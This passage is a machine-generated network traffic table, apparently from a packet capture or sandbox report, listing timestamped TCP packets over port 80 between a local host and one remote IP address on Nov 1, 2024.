Nov 1, 2024 10:57:11.049190998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049200058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049210072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049236059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049245119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049276114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049287081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049288034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049297094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049307108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049333096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049348116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049410105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049420118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049427986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049438953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049446106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049448967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049477100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049499989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049510956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049523115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049534082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049545050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049544096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049554110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049570084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049616098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049626112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049634933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049645901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049652100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049657106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049663067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049666882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049693108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049707890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049726963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049736977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049763918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049818039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049828053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049835920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049845934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049855947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049856901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049869061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049880028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049880981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049906969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049927950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.049958944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049973965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049982071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.049990892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050002098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050010920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050014973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050020933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050030947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050035000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050041914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050044060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050052881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050075054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050086975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050096035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050096989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050105095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050115108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050127983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050127983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050149918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050173044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050183058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050192118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050201893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050213099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050251007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050250053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050262928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050272942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050282955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050283909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050293922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050311089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050327063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050359964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050369978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050379992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050389051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.050395966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.050420046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051124096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051161051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051168919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051203012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051217079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051225901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051235914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051249981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051265001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051275969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051280022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051290989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051297903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051300049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051311016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051327944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051330090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051340103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051341057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051373959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051398039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051472902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051484108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051491976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051511049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051534891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051534891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051552057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051563025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051569939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051573038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051580906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051585913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051597118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051597118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051609993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051620960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051639080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051673889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051685095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051695108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051707983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051716089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051717043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051728010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051736116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051737070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051743031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051760912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051768064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051778078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051789999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051820040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051871061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051881075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051888943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051898003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051914930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051917076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051928043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051934004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051938057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051947117 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051949024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051959991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051974058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051985979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.051995993 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.051996946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052009106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052014112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052040100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.052107096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052117109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052124977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052131891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.052143097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.052155018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052166939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.052187920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.052216053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052226067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052237988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.052253962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.052275896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070540905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070602894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070612907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070627928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070683956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070688009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070700884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070709944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070744991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070744991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070751905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070761919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070764065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070776939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070789099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070791006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070802927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070827007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070904970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070916891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070926905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070939064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070949078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070959091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070960045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070960045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.070971966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.070988894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071017027 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071048975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071059942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071069956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071080923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071086884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071113110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071135998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071147919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071157932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071166992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071187019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071197033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071201086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071207047 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071228981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071238995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071240902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071253061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071264029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071266890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071274042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071294069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071327925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071501970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071520090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071528912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071564913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071583033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071593046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071624041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071784973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071826935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071861982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071872950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071902990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071918011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071945906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071955919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071957111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.071978092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.071999073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072026968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072038889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072048903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072061062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072072029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072098970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072138071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072149992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072160006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072170973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072180986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072180986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072199106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072222948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072344065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072354078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072367907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072379112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072385073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072388887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072395086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072401047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072412014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072422028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072424889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072432995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072448969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072451115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072458982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072464943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072474003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072490931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072500944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072510958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072520018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072520971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072540998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072561026 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072624922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072634935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072645903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072659016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072665930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072670937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072680950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072690964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072711945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072777033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072788000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072797060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072807074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072814941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072818995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072830915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072839975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072870016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.072891951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072906017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.072938919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074326038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074337959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074347973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074390888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074407101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074415922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074418068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074429989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074440002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074446917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074450016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074462891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074462891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074486017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074490070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074513912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074523926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074533939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074537992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074561119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074570894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074601889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074613094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074624062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074642897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074671984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074682951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074697971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074708939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074717045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.074738979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074763060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.074769020 CET	80	49820	31.41.244.11	192.168.2.4
